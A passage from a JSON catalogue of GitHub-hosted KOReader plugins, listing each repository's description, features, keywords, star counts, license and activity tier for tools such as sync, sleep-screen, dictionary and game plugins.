manager"],"keywords":["android","app","launcher","launch","installed","apps","menu","gestures","showcase","works","compatibility","application","gesture","applications","open","package","slots","action","actions","androidapplauncher","eight","manager","name","normal"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-01T20:07:13Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":1866,"detail":"detail/mewforest__androidapplauncher.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"mgrimace/stretch.koplugin","owner":"mgrimace","repo":"stretch.koplugin","url":"https://github.com/mgrimace/stretch.koplugin","description":"A KOReader plugin that stretches manga and comic pages to fill the screen width without extra scrolling","purpose":"Typically, when viewing manga in MuPDF, selecting Fit to Width preserves the original aspect ratio, which means scrolling to see the bottom of pages.","categories":["content"],"features":["KOReader","A document rendered via the MuPDF engine (PDF, CBZ, CBR, FB2, etc.)","Fit to Width + Zoom to Content","Fit to Width + Zoom to Page","Page Crop + none"],"keywords":["comics","companion","koreader","koreader-plugin","manga","plugin","stretches","comic","pages","fill","screen","width","without","extra","scrolling","stretch","requirements","page","zoom","crop","document","full-screen","mode","mupdf"],"topics":["comics","companion","koreader","koreader-plugin","manga","plugin"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-22T20:05:31Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":1325,"detail":"detail/mgrimace__stretch.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"mm-malkani/screenshotorganizer.koplugin","owner":"mm-malkani","repo":"screenshotorganizer.koplugin","url":"https://github.com/mm-malkani/screenshotorganizer.koplugin","description":"Automatically organizes KOReader screenshots into neat, book-titled folders. Features \"Pretty Name\" scraping to strip underscores and metadata, background automation, and multi-path support for Kindle. No menus required—just snap and read while your library stays tidy in the background.","purpose":"ScreenshotOrganizer is a lightweight, background-running plugin for KOReader that automatically sorts your screenshots into neat, book-titled folders. It eliminates clutter by transforming the default flat screenshot directory into an organized library.","categories":["ui","library"],"features":["Original Filename: Reader_Isles of the Emberdark - Brandon Sanderson (79).epub_p559_2026-01-07.png","Organized Folder: Isles of the Emberdark - Brandon Sanderson","Zero-Touch Automation: Once installed, it works silently in the background. No manual triggers or menus are required","Intelligent Filename Scraper: Specifically built for Kindle devices to ensure book detection works even when system globals are…","Smart Title Formatting: Automatically removes underscores, file extensions, and trailing version numbers (like (v1) or (79))","Multi-Path Support: Scans all likely Kindle storage locations, including /mnt/us/koreader/screenshots, /mnt/us/screenshots, and…","Performance Optimized: Uses efficient LuaJIT FFI calls for file operations to ensure zero impact on page-turn speed or battery…"],"keywords":["automatically","organizes","neat","book-titled","folders","pretty","name","scraping","strip","underscores","metadata","background","automation","multi-path","kindle","menus","required","just","snap","read","while","library","stays","tidy"],"topics":[],"stars":2,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-01-11T12:38:42Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2723,"detail":"detail/mm-malkani__screenshotorganizer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"monch1962/fleeting-notes.koplugin","owner":"monch1962","repo":"fleeting-notes.koplugin","url":"https://github.com/monch1962/fleeting-notes.koplugin","description":"Plugin for KOreader to allow it to be used to capture 'fleeting notes', then sync them to something like Obsidian later","purpose":"Capture quick notes while reading with Markdown support and Obsidian compatibility. The plugin automatically detects color e-readers and adds color-coded buttons:","categories":["sync","ui","files","notes"],"features":["Auto-Save: Notes are automatically saved as you type - first keystroke creates the file","Save & New: One tap to save current note and immediately start a new one","Quick Note Capture: Create notes without leaving your book","Markdown Support: Full Markdown syntax with toolbar buttons","Obsidian Compatible: Notes saved as timestamped .md files","E-ink Optimized: Designed for E-ink displays","Color UI Support: Color-coded buttons on color e-readers (optional)","Bold: Blue","Italic: Green","Code: Amber/Yellow"],"keywords":["koreader","koreader-plugin","lua","markdown","markdown-editor","obsidian","allow","capture","fleeting","notes","sync","them","something","like","later","color","e-reader","auto-save","behavior","deployment","method","direct","copy","simple"],"topics":["koreader","koreader-plugin","lua","markdown","markdown-editor","obsidian"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-15T21:15:30Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":9077,"detail":"detail/monch1962__fleeting-notes.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"naraxian/palmasleepscreen.koplugin","owner":"naraxian","repo":"palmasleepscreen.koplugin","url":"https://github.com/naraxian/palmasleepscreen.koplugin","description":"Full-bleed book cover sleep screen for KOReader, built for the Boox Palma's 2:1 display","purpose":"A KOReader plugin that composes a sleep screen image from the current book's cover and your reading progress, and writes it where the device's system can pick it up as a sleep screen.","categories":["ui","device","notes"],"features":["Cover, scaled to the full screen width and anchored to the top. Never","Panel, filling the remaining height in the cover's dominant colour. The","Title, up to two lines, then ellipsized","Author and series","Progress bar, with chapter boundaries notched along its lower edge","Progress row: percentage read, and the current chapter out of the total","Secondary row, smaller: estimated time left, battery level with a drawn","KOReader (developed against v2026.03; also runs on v2024.11)","A device whose system reads an image file as its sleep screen","The estimated time left comes from KOReader's statistics plugin. If that is"],"keywords":["ereader","koreader","koreader-plugin","lua","onyx-boox","screensaver","boox-palma","book-cover","boox","eink","sleep-screen","full-bleed","book","cover","sleep","screen","built","palma","display","shows","requirements","installing","where","settings"],"topics":["ereader","koreader","koreader-plugin","lua","onyx-boox","screensaver","boox-palma","book-cover","boox","eink","sleep-screen"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-20T09:06:40Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":13984,"detail":"detail/naraxian__palmasleepscreen.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ndieschburg/varbook.koplugin","owner":"ndieschburg","repo":"varbook.koplugin","url":"https://github.com/ndieschburg/varbook.koplugin","description":"Synchronize reading progress between KOReader and a Varbook (Bookshelf) server. Read on your e-reader, pick up where you left off on the web — and vice versa.","purpose":"Synchronize reading progress between KOReader and a Bookshelf (Varbook) server. Read on your Kobo in the evening, then pick up where you left off the next morning on the web reader -- and vice versa.","categories":["sync","web","library","files","reading"],"features":["Automatic local tracking: every page turn is recorded in a local SQLite database, no network needed","One-tap sync: push all accumulated positions and pull the latest server progress in a single action","Gesture support: assign sync to any tap zone, swipe, or long-press for quick access","Offline-first: positions are stored locally and synced whenever you're ready","Cross-device: works alongside the Bookshelf web reader, Moon+ Reader (WebDAV), and other Varbook-compatible clients","KOReader on a Kobo (or other supported device)","Bookshelf (Varbook) server with the /api/varbook/ endpoints enabled","An API token generated from the Bookshelf web interface","Books must be the same EPUB files on both devices (same file = same hash). The easiest way is to download books via the Bookshelf…"],"keywords":["koreader-plugin","synchronize","reading","progress","between","varbook","bookshelf","server","read","e-reader","pick","where","left","off","web","vice","versa","sync","prerequisites","via","app","store","recommended","manual"],"topics":["koreader-plugin"],"stars":2,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-05-20T15:22:22Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4558,"detail":"detail/ndieschburg__varbook.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"nhanhhunter/AI_Dictionary.koplugin","owner":"nhanhhunter","repo":"AI_Dictionary.koplugin","url":"https://github.com/nhanhhunter/AI_Dictionary.koplugin","description":"Dictionary plugin for KO Reader","purpose":"AI Dictionary is a KOReader plugin that helps you understand selected text with AI while you read. Instead of only showing a dictionary entry, it can explain a word, phrase, idiom, or sentence using the surrounding context from your book. This is useful when a normal dictionary gives too many meanings, misses an…","categories":["dict","ai"],"features":["AI Dictionary: get a short dictionary-style answer for the selected text","AI Explain: understand a highlighted passage in the context of the book","AI English Explain: rewrite the meaning in simpler English","Lookup log: save selected lookups beside the book in an AI Lookups folder","Provider settings inside KOReader: choose and edit your AI provider, model, base URL, and API key from the KOReader menu","Model picker: load available models from your provider when the provider supports a /models endpoint","Perplexity","OpenAI-compatible Chat Completions APIs","OpenAI-compatible Responses APIs","Anthropic-compatible Messages APIs"],"keywords":["dictionary","koreader","koreader-plugins","providers","before","start","common","setup","examples","perplexity","openai","chat","completions","responses","api","anthropic","tips","credits","provider","model","base","profile","active","explain"],"topics":["dictionary","koreader","koreader-plugins"],"stars":2,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-06-25T02:39:51Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4306,"detail":"detail/nhanhhunter__AI_Dictionary.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/calendar.koplugin","owner":"omer-faruq","repo":"calendar.koplugin","url":"https://github.com/omer-faruq/calendar.koplugin","description":"View Google Calendars (via private iCal URL) on the sleep screen and in an interactive viewer on KOReader","purpose":"View your Google Calendar(s) on KOReader — as the sleep screen (screensaver) and in an interactive viewer opened from a gesture or the Tools menu. Read-only.","categories":["web"],"features":["Get your calendar URL(s). In Google Calendar (web): Settings → click your","Create the config file. Copy calendar_configuration.sample.lua to","Or, on-device: Tools → Calendar → Calendars → Create configuration file","Load it. Restart KOReader, or Tools → Calendar → Calendars → Reload","Tools → Calendar → Open viewer — interactive; buttons switch Day/Week/","Tools → Calendar → Calendars — tap a calendar to show/hide it without","Gesture — assign *Open calendar* / *Refresh calendar* in KOReader's","Sleep screen — Sleep screen / Wallpaper settings → Show calendar on","Refresh — on sleep, calendars older than the refresh interval are","Timezones: TZID/VTIMEZONE are not converted; times show as their literal"],"keywords":["koreader-plugin","view","google","calendars","via","private","ical","url","sleep","screen","interactive","viewer","calendar","works","setup","preferences","languages","limitations","refresh","tools","wi-fi","configuration","file","mode"],"topics":["koreader-plugin"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-04T16:51:17Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4499,"detail":"detail/omer-faruq__calendar.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"right9code/sleepwaketracker.koplugin","owner":"right9code","repo":"sleepwaketracker.koplugin","url":"https://github.com/right9code/sleepwaketracker.koplugin","description":"","purpose":"A comprehensive plugin that tracks your reading habits by logging device sleep (suspend) and wake (resume) events. It provides detailed statistics, battery tracking, and data management features.","categories":["device"],"features":["Automatic Logging","Records \"SLEEP\" and \"WAKE\" timestamps automatically","Battery Tracking: Logs battery percentage at every event to track drain","Detailed Statistics","Daily Summary: Shows total active time (e.g., Total Active: 3h 15m) and total battery used (e.g., Bat Used: 12%)","Cycle Analysis: Groups Wake/Sleep events into clean cycles with accurate duration and battery drain per session","Example: ☀ 10:00 AM - ☾ 11:30 AM (1h 30m 00s) [-5%]","Data Management","Export to CSV: Back up your entire history to a CSV file","Export Path: Saves to the root of your device storage (e.g., /mnt/onboard on Kobo, /mnt/us on Kindle)"],"keywords":["kindle","kobo","koreader","koreader-plugin","sleep","wake","tracker","pocketbook","etc","csv","format","technical","details","device","data","export","battery","file","history","logs","sleepwaketracker","events","root","storage"],"topics":["kindle","kobo","koreader","koreader-plugin"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-07T09:39:01Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":3120,"detail":"detail/right9code__sleepwaketracker.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Saterz/betterwifi.koplugin","owner":"Saterz","repo":"betterwifi.koplugin","url":"https://github.com/Saterz/betterwifi.koplugin","description":"","purpose":"A plugin to improve the experience of connecting to wifi in KOReader It is WIP and isn't usable as of now","categories":["misc"],"features":[],"keywords":["betterwifi"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-06T17:37:38Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":130,"detail":"detail/Saterz__betterwifi.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"SH4DOWSIX/simpleui.koplugin","owner":"SH4DOWSIX","repo":"simpleui.koplugin","url":"https://github.com/SH4DOWSIX/simpleui.koplugin","description":"A highly customizable UI plugin for KOReader that features a home screen, bottom navigation bar, top bar and desktop modules/widgets. ","purpose":"A clean, distraction-free UI plugin for KOReader that transforms your reading experience. SimpleUI adds a dedicated Home Screen, a customisable bottom navigation bar, a top status bar, and a reworked library title bar, giving you instant access to your library, history, collections, and reading stats without…","categories":["ui","dict"],"features":["Clock & Date — a large, readable clock with full date display","Currently Reading — your active book with cover art, title, author, progress bar, percentage read, and estimated time left","Recent Books — a row of up to 5 recent books with cover thumbnails and progress indicators; tap any to resume reading","Collections — your KOReader collections displayed as tappable cover cards, right on the home screen","Reading Goals — visual progress tracker for your annual and daily reading goals, including physical books read","Reading Stats — compact stat cards showing today's reading time, pages, streaks, and all-time totals","Quick Actions — up to 3 customisable rows of shortcut buttons (Library, History, Wi-Fi toggle, Brightness, Stats, and more)","New Books — a row of up to 5 recently added books sorted by file date; unread books are labelled \"New\" and started books show…"],"keywords":["highly","customizable","home","screen","bottom","navigation","bar","top","desktop","modules","widgets","simpleui","status","custom","title","folder","covers","quick","actions","settings","translations","included","languages","adding"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-03-30T09:40:29Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":9332,"detail":"detail/SH4DOWSIX__simpleui.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"sypianski/keyreader","owner":"sypianski","repo":"keyreader","url":"https://github.com/sypianski/keyreader","description":"Physical keyboard kit for KOReader: key remap, command palette, word search, vim-style visual selection","purpose":"A physical-keyboard kit for KOReader. One plugin, four features: Designed for KOReader on devices with an external keyboard (Bluetooth or USB-C): Android phones, the Boox Palma, the Kobo Sage with a hardware keyboard accessory, the desktop emulator, etc.","categories":["ui","games"],"features":["Key remap — Vim-ish global shortcuts (menu, paging, ToC, search, …)","Command palette — fuzzy search across the entire upper menu (P)","Word search — fuzzy picker over words visible on the current page (Shift+D)","Visel — vim-style visual sentence / word selection on EPUB (Shift+V)","A rolling (CRengine) document — EPUB, FB2, HTML, plain text. PDF /","A hardware keyboard. The overlay has no touch fallback","Key collisions: the global key remap fires the same letters even while","Letter-typing into Reader fields: key remap handlers detect focused"],"keywords":["koreader-plugin","koreader","physical","keyboard","kit","key","remap","command","palette","word","search","vim-style","visual","selection","keyreader","beta","visel","sentence","mode","default","after","shift+w","known","limitations"],"topics":["koreader-plugin","koreader"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-23T10:59:07Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":7527,"detail":"detail/sypianski__keyreader.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"sypianski/rosetta.koplugin","owner":"sypianski","repo":"rosetta.koplugin","url":"https://github.com/sypianski/rosetta.koplugin","description":"AI-translated reading panel for KOReader — bilingual EPUB via inline panel or pre-aligned human translations (epub-parallel-align)","purpose":"AI-translated reading panel beneath the book text — for language learners reading foreign-language books in KOReader.","categories":["ai","reading"],"features":["Drop rosetta.koplugin/ into your KOReader plugins directory (koreader/plugins/ on Kobo/Kindle, /sdcard/koreader/plugins/ on…","Open a book → tap top of screen → Typeset → rosetta → Enable for this book","In rosetta → Settings, set your target language, AI API key, and (optionally) model. Default model: google/gemini-2.5-flash via…","AI backend with prev/next page as context and a | page-break marker round-tripped through the model. Optional Google Translate…","Per-page disk cache, keyed by MD5 of the page text (survives reflow / font changes). Background prefetch of the next page →…","Book-matched typography: panel uses the book's font face, configurable % size, line spacing, margins, and crengine hyphenation…","Inline formatting: markdown markers (# , ## , *…*, …, • ) are preserved by the prompt and rendered as real headings (centered,…"],"keywords":["koplugin","koreader","ai-translated","reading","panel","bilingual","epub","via","inline","pre-aligned","human","translations","epub-parallel-align","rosetta","settings","limitations","credits","book","page","font","language","cache","target","model"],"topics":["koplugin","koreader"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T11:30:52Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":4173,"detail":"detail/sypianski__rosetta.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tachibana-shin/20-20-20.koplugin","owner":"tachibana-shin","repo":"20-20-20.koplugin","url":"https://github.com/tachibana-shin/20-20-20.koplugin","description":"A KOReader plugin that helps follow the 20-20-20 eye-rest rule. It runs a background timer while you read, and after the configured interval it shows a fullscreen black rest screen with a countdown. Both the interval in minutes and the countdown in seconds are configurable from KOReader’s Tools menu using the normal up/down controls.","purpose":"A simple KOReader plugin that helps you follow the 20-20-20 eye-rest rule. It runs a background timer while KOReader is open, then shows a fullscreen black rest screen with a large countdown when the timer completes.","categories":["ui"],"features":["Runs a configurable background timer","Shows a fullscreen black rest screen when the interval completes","Displays a large countdown from the configured number of seconds down to 0","Lets you configure the interval in minutes","Lets you configure the rest screen countdown in seconds","KOReader installed on your e-reader","USB access to your e-reader's KOReader folder","Kobo Libra Colour","KOReader on Android","Make sure the unzipped folder is named 20-20-20.koplugin"],"keywords":["helps","follow","20-20-20","eye-rest","rule","runs","background","timer","while","read","after","configured","interval","shows","fullscreen","black","rest","screen","countdown","both","minutes","seconds","configurable","tools"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-06-20T06:15:25Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2004,"detail":"detail/tachibana-shin__20-20-20.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tadeasf/chartingsleepscreen_koplugin","owner":"tadeasf","repo":"chartingsleepscreen_koplugin","url":"https://github.com/tadeasf/chartingsleepscreen_koplugin","description":"KOReader plugin for PocketBook: renders your reading stats (signature, now-reading, recent books, streaks) onto the sleep/lock screen as an on-device grayscale image.","purpose":"Turn your PocketBook's sleep/lock screen into a reading-stats dashboard. Built and tested on the PocketBook Era, it renders — entirely on-device — a crisp grayscale image in a terminal/dotfiles aesthetic:","categories":["ui","device","files","reading","notes"],"features":["your ASCII signature up top (fully customizable — see the tutorial),","the book you're now reading with its cover, a progress bar and a","your recent books with cover thumbnails, author, read time and whether","a stats tile row: day streak, this month, this year, average session","Where to find it in the menu","Quick start","How it works (the one thing you must know)","Output slots","Menu reference","Customizing the ASCII signature"],"keywords":["eink","ereader","koreader","koreader-plugin","lua","pocketbook","pocketbook-era","reading-stats","sleep-screen","renders","reading","stats","signature","now-reading","recent","books","streaks","onto","sleep","lock","screen","on-device","grayscale","image"],"topics":["eink","ereader","koreader","koreader-plugin","lua","pocketbook","pocketbook-era","reading-stats","sleep-screen"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-08T18:18:23Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":13060,"detail":"detail/tadeasf__chartingsleepscreen_koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"titandrive/syncest.koplugin","owner":"titandrive","repo":"syncest.koplugin","url":"https://github.com/titandrive/syncest.koplugin","description":"syncest.koplugin","purpose":"Syncest is a KOReader plugin for syncing reading data to a WebDAV folder you control. It is based on the Readest KOReader plugin, but with a different goal: keep KOReader progress, annotations, reading stats, vocabulary, and optional book files in one self-hosted central location instead of tying that data to a single…","categories":["sync","ui","library","files"],"features":["Sync reading progress per book","Sync annotations, including deleted annotation tombstones","Sync KOReader reading statistics","Sync vocabulary builder entries","Maintain a Syncest book library with optional book and cover upload/download","Browse the authoritative cloud catalog in grid or list view, with filters for","Refresh or securely wipe the cloud catalog from the Library actions menu","Push or pull all sync data except book files/catalog from one menu command","Mirror progress pushes to KOReader KOSync when enabled","Auto sync on common reading events"],"keywords":["koreader","koreader-plugin","koplugin","syncest","setup","notifications","webdav","layout","synced","data","auto","sync","behavior","manual","changelog","cloud","catalog","correctness","safer","book","operations","covers","interface","reliability"],"topics":["koreader","koreader-plugin","koplugin"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T14:27:57Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":16315,"detail":"detail/titandrive__syncest.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"TomasDiLeo/lightsout.koplugin","owner":"TomasDiLeo","repo":"lightsout.koplugin","url":"https://github.com/TomasDiLeo/lightsout.koplugin","description":"Basic Lights Out game for KoReader. ","purpose":"Solve a basic random 5 x 5 lightsout puzzle This plugin was tested on a JailBroken kindle with KoReader 2025.10 If you find any bug or find a way to center the board (I'm new at making plugins) make a pull request or contact me at my reddit account or send me a mail to tomasjdle@gmail.com","categories":["notes","games"],"features":["Open KOReader","Go to the main menu","Open the *Tools* section","Select Lights Out","Tap any cell to toggle the lights of the cell and the adjacent cells","Top buttons","New game: Generate a new random puzzle and start over","Close: Exit the Lights Out screen and return to KOReader","This plugin was based on the implementation of plugins by omer-faruq https://github.com/omer-faruq/"],"keywords":["basic","lights","out","game","lightsout","open","controls","notes","credits","board","cell","find","make","omer-faruq","puzzle","random","main","menu","tools","section","select","tap","any","toggle"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-11-28T20:15:41Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":968,"detail":"detail/TomasDiLeo__lightsout.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tphLatte/ankiconnect.koplugin","owner":"tphLatte","repo":"ankiconnect.koplugin","url":"https://github.com/tphLatte/ankiconnect.koplugin","description":"Allows you to do anki reviews from koreader","purpose":"","categories":["dict"],"features":[],"keywords":["allows","anki","reviews"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-02T02:43:38Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"uroybd/remotenote.koplugin","owner":"uroybd","repo":"remotenote.koplugin","url":"https://github.com/uroybd/remotenote.koplugin","description":"Take notes in KOReader on a remote device","purpose":"Adding annotations to your e-books is super useful, but typing on the on-screen keyboard of an e-ink display is cumbersome and slow. RemoteNote lets you use another device to type in notes to the passages you highlight in KOReader. It also allows you to remotely enter text into any text dialog natively found in…","categories":["ui","notes"],"features":["Remote Note: Type in notes for passages you highlight within a book","Remote Input: A \"Remote input\" button is seamlessly injected into standard KOReader text input dialogs (e.g. search boxes,…","When opening the \"Edit note\" dialog, the KOReader keyboard may occlude the bottom buttons of the dialog. This will be fixed with…","Kindle: /mnt/us/koreader/plugins/","Kobo: /.adds/koreader/plugins/"],"keywords":["take","notes","remote","device","remotenote","devices","demos","creating","note","editing","review","known","issues","configuration","port","enable","https","encryption","refresh","tls","certificates","allow","input","all"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-05-31T14:38:16Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3714,"detail":"detail/uroybd__remotenote.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"VACE001/kosyncthing_plus.koplugin","owner":"VACE001","repo":"kosyncthing_plus.koplugin","url":"https://github.com/VACE001/kosyncthing_plus.koplugin","description":"Synchronize your e-reader files across devices using a native Syncthing daemon integrated directly into KOReader.","purpose":"KOSyncthing+ keeps your digital library synchronized. It sends books, reading notes, and progress markers between your e-readers. You manage your files in private. The software requires no external cloud services. It runs a background service inside your KOReader app. This plugin handles Wi-Fi connections, resolves…","categories":["sync","device","files"],"features":["Direct Synchronization: Moves files between your devices without any middleman","Automatic Wi-Fi Control: Turns your wireless radio on and off only when needed","Conflict Handling: Preserves your latest reading progress if two devices change a file at once","Private Design: Keeps your reading data on your local network","Easy Menu: Provides a clear interface inside the KOReader environment","Visit the Download Page to obtain the latest version of the plugin","Locate the file ending in .koplugin","Plug your device into your computer using a USB cable","Open your device storage in your file browser","Find the koreader folder"],"keywords":["android","book-sync","ebook-reader","kindle","kobo","koplugin","koreader","koreader-plugin","reading","syncthing","synchronize","e-reader","files","across","devices","native","daemon","integrated","directly","kosyncthing","plus","sync","books","e-ink"],"topics":["android","book-sync","ebook-reader","kindle","kobo","koplugin","koreader","koreader-plugin","reading","syncthing"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T23:30:48Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":4776,"detail":"detail/VACE001__kosyncthing_plus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"valterschutz/coloronhighlight.koplugin","owner":"valterschutz","repo":"coloronhighlight.koplugin","url":"https://github.com/valterschutz/coloronhighlight.koplugin","description":"","purpose":"A KOReader plugin that opens the highlight color picker immediately after you create a new highlight. This avoids the default extra steps of re-selecting the highlighted text and choosing `color` to open the color menu.","categories":["sync"],"features":["koreader 2026.03","Zen UI 1.2.1","Kobo Libra Color","Kobo Aura ONE","Android"],"keywords":["color","highlight","compatibility","directory","kobo","2026","zen","libra","aura","one","android"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-13T20:24:48Z","license":"Unlicense","default_branch":"main","has_meta":true,"readme_bytes":476,"detail":"detail/valterschutz__coloronhighlight.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"W-Boat/philosopher.koplugin","owner":"W-Boat","repo":"philosopher.koplugin","url":"https://github.com/W-Boat/philosopher.koplugin","description":"This is a plugin for the KOReader that implements a random display of text from the json file.","purpose":"This is a plugin for KOReader that displays random text from a json file on mobile devices. It works similarly to hitokoto (一言), randomly showing sentences and their sources. The data is sourced from hitokoto as well. However, this plugin is specifically designed for KOReader.","categories":["files"],"features":[],"keywords":["implements","random","display","text","json","file","philosopher","english","formats","hitokoto","data","sentences"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-07-27T10:59:52Z","license":"GPL-3.0","default_branch":"master","has_meta":false,"readme_bytes":1020,"detail":"detail/W-Boat__philosopher.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["no_meta","dormant","documented"]},{"id":"William9923/folderlock.koplugin","owner":"William9923","repo":"folderlock.koplugin","url":"https://github.com/William9923/folderlock.koplugin","description":"folderlock.koplugin adds password protection to folders in KOReader's File Manager","purpose":"`folderlock.koplugin` adds password protection to folders in KOReader's File Manager, so locked folders ask for a password before they can be opened.","categories":["library","files"],"features":["Lock any folder directly from FileManager's long-press context menu","Remove a folder lock from the same long-press menu","Password prompt when opening locked folders","Parent locks cascade to subfolders automatically","Auto-update — check for and install new versions from inside KOReader (Folder Lock → Check for updates)","File-level access protection — opening a book that lives inside a locked folder from History, Collections, File Search, or…","Open the menu → Folder Lock → Check for updates","If a new version is available, confirm the install","In FileManager, long-press a folder","Tap Lock folder (if the folder is unlocked) or Remove Lock (if the folder is locked)"],"keywords":["ereader","folder","koreader","koreader-plugin","lock","folderlock","adds","password","protection","folders","file","manager","overview","demo","philosophy","scope","updating","locking","unlocking","accessing","locked","files","history","collections"],"topics":["ereader","folder","koreader","koreader-plugin","lock"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-05T09:49:07Z","license":"NOASSERTION","default_branch":"master","has_meta":true,"readme_bytes":3824,"detail":"detail/William9923__folderlock.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Wolfazzo/myexport.koplugin","owner":"Wolfazzo","repo":"myexport.koplugin","url":"https://github.com/Wolfazzo/myexport.koplugin","description":"Plugin for exporting highlights in various formats (JSON, Markdown, text)","purpose":"Plugin for KOReader, for exporting highlights in various formats (JSON, Markdown, text)","categories":["notes"],"features":[],"keywords":["koreader-plugin","exporting","highlights","various","formats","json","markdown","text","myexport"],"topics":["koreader-plugin"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-16T13:42:03Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":108,"detail":"detail/Wolfazzo__myexport.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"yangyingchao/chinese.koplugin","owner":"yangyingchao","repo":"chinese.koplugin","url":"https://github.com/yangyingchao/chinese.koplugin","description":"","purpose":"A KOReader plugin for Chinese word selection. When long-pressing Chinese text, automatically expands the selection from a single character to the full word.","categories":["dict","files"],"features":["Go to the Releases page","Scans backward from the touch position (default up to 4 characters) to enumerate candidate start positions","From each candidate start, scans forward (default up to 20 characters) with dictionary prefix pruning for acceleration","Returns the longest matched word","Forward scan length (default 20): maximum characters to scan forward","Backward scan length (default 4): maximum characters to scan backward","Code: AGPLv3 (same as KOReader)","Built-in dictionary: CC-CEDICT, CC BY-SA 3.0"],"keywords":["chinese","word","selection","option","download","package","recommended","source","verify","stardict","dictionary","optional","works","settings","platform","limitations","building","list","backward","characters","default","document","forward","language"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-15T08:43:50Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":3514,"detail":"detail/yangyingchao__chinese.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"yparitcher/chitas.koplugin","owner":"yparitcher","repo":"chitas.koplugin","url":"https://github.com/yparitcher/chitas.koplugin","description":"Chitas plugin for koreader using 